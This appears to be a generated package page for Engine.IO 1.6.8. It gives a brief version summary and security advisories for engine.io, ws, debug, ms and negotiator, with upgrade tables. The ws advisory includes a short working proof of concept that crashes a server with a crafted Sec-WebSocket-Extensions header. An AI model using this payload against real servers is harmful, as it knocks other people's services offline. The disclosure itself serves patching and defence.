Engine.IO version 1.6.8 represents a minor update to the underlying transport mechanism powering Socket.IO, building upon the foundation established by version 1.6.7. Both versions provide the core bidirectional communication layer essential for real-time web applications. The primary difference lies in the updated engine.io-client dependency within the devDependencies, shifting from version 1.6.7 to 1.6.8. This suggests that the update likely addresses improvements or bug fixes within the client-side component of Engine.IO, focusing on enhancing the client's ability to establish and maintain connections with the server.
For developers, Engine.IO facilitates the creation of robust real-time features, offering a transparent and reliable means of exchanging data. Its dependency on ws ensures efficient WebSocket communication where available, while gracefully falling back to other techniques like long polling for broader browser compatibility. Shared dependencies, such as debug for insightful logging and base64id for unique identifier generation, remain consistent, indicating a focus on stability in the core functionality. The MIT license promotes flexible usage and modification. The accepts dependency enables content negotiation. While the change in engine.io-client may seem small, it is important when depending on the engine.io-client package and is an independent module of the engine.io package and therefore may include additional functionality. The update, even if seemingly minimal, might include performance enhancements or critical fixes within the client interaction, so its better to use the newest one always.
All the vulnerabilities related to the version 1.6.8 of the package
Resource exhaustion in engine.io
Engine.IO before 4.0.0 and 3.6.0 allows attackers to cause a denial of service (resource consumption) via a POST request to the long polling transport.
Uncaught exception in engine.io
A specially crafted HTTP request can trigger an uncaught exception on the Engine.IO server, thus killing the Node.js process.
events.js:292
throw er; // Unhandled 'error' event
^
Error: read ECONNRESET
at TCP.onStreamRead (internal/stream_base_commons.js:209:20)
Emitted 'error' event on Socket instance at:
at emitErrorNT (internal/streams/destroy.js:106:8)
at emitErrorCloseNT (internal/streams/destroy.js:74:3)
at processTicksAndRejections (internal/process/task_queues.js:80:21) {
errno: -104,
code: 'ECONNRESET',
syscall: 'read'
}
This impacts all the users of the engine.io package, including those who uses depending packages like socket.io.
A fix has been released today (2022/11/20):
| Version range | Fixed version |
|-------------------|---------------|
| engine.io@3.x.y | 3.6.1 |
| engine.io@6.x.y | 6.2.1 |
For socket.io users:
| Version range | engine.io version | Needs minor update? |
|-----------------------------|---------------------|--------------------------------------------------------------------------------------------------------|
| socket.io@4.5.x | ~6.2.0 | npm audit fix should be sufficient |
| socket.io@4.4.x | ~6.1.0 | Please upgrade to socket.io@4.5.x |
| socket.io@4.3.x | ~6.0.0 | Please upgrade to socket.io@4.5.x |
| socket.io@4.2.x | ~5.2.0 | Please upgrade to socket.io@4.5.x |
| socket.io@4.1.x | ~5.1.1 | Please upgrade to socket.io@4.5.x |
| socket.io@4.0.x | ~5.0.0 | Please upgrade to socket.io@4.5.x |
| socket.io@3.1.x | ~4.1.0 | Please upgrade to socket.io@4.5.x (see here) |
| socket.io@3.0.x | ~4.0.0 | Please upgrade to socket.io@4.5.x (see here) |
| socket.io@2.5.0 | ~3.6.0 | npm audit fix should be sufficient |
| socket.io@2.4.x and below | ~3.5.0 | Please upgrade to socket.io@2.5.0 |
There is no known workaround except upgrading to a safe version.
If you have any questions or comments about this advisory:
engine.ioThanks to Jonathan Neve for the responsible disclosure.
DoS due to excessively large websocket message in ws
Affected versions of ws do not appropriately limit the size of incoming websocket payloads, which may result in a denial of service condition when the node process crashes after receiving a large payload.
Update to version 1.1.1 or later.
Alternatively, set the maxpayload option for the ws server to a value smaller than 256MB.
Denial of Service in ws
Affected versions of ws can crash when a specially crafted Sec-WebSocket-Extensions header containing Object.prototype property names as extension or parameter names is sent.
const WebSocket = require('ws');
const net = require('net');
const wss = new WebSocket.Server({ port: 3000 }, function () {
const payload = 'constructor'; // or ',;constructor'
const request = [
'GET / HTTP/1.1',
'Connection: Upgrade',
'Sec-WebSocket-Key: test',
'Sec-WebSocket-Version: 8',
`Sec-WebSocket-Extensions: ${payload}`,
'Upgrade: websocket',
'\r\n'
].join('\r\n');
const socket = net.connect(3000, function () {
socket.resume();
socket.write(request);
});
});
Update to version 3.3.1 or later.
debug Inefficient Regular Expression Complexity vulnerability
A vulnerability classified as problematic has been found in debug-js debug up to 3.0.x. This affects the function useColors of the file src/node.js. The manipulation of the argument str leads to inefficient regular expression complexity. Upgrading to version 3.1.0 is able to address this issue. The name of the patch is c38a0166c266a679c8de012d4eaccec3f944e685. It is recommended to upgrade the affected component. The identifier VDB-217665 was assigned to this vulnerability. The patch has been backported to the 2.6.x branch in version 2.6.9.
Regular Expression Denial of Service in debug
Affected versions of debug are vulnerable to regular expression denial of service when untrusted user input is passed into the o formatter.
As it takes 50,000 characters to block the event loop for 2 seconds, this issue is a low severity issue.
This was later re-introduced in version v3.2.0, and then repatched in versions 3.2.7 and 4.3.1.
Version 2.x.x: Update to version 2.6.9 or later. Version 3.1.x: Update to version 3.1.0 or later. Version 3.2.x: Update to version 3.2.7 or later. Version 4.x.x: Update to version 4.3.1 or later.
Vercel ms Inefficient Regular Expression Complexity vulnerability
A vulnerability, which was classified as problematic, has been found in vercel ms up to 1.x. This issue affects the function parse of the file index.js. The manipulation of the argument str leads to inefficient regular expression complexity. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 2.0.0 is able to address this issue. The name of the patch is caae2988ba2a37765d055c4eee63d383320ee662. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-217451.
Regular Expression Denial of Service in negotiator
Affected versions of negotiator are vulnerable to regular expression denial of service attacks, which trigger upon parsing a specially crafted Accept-Language header value.
Update to version 0.6.1 or later.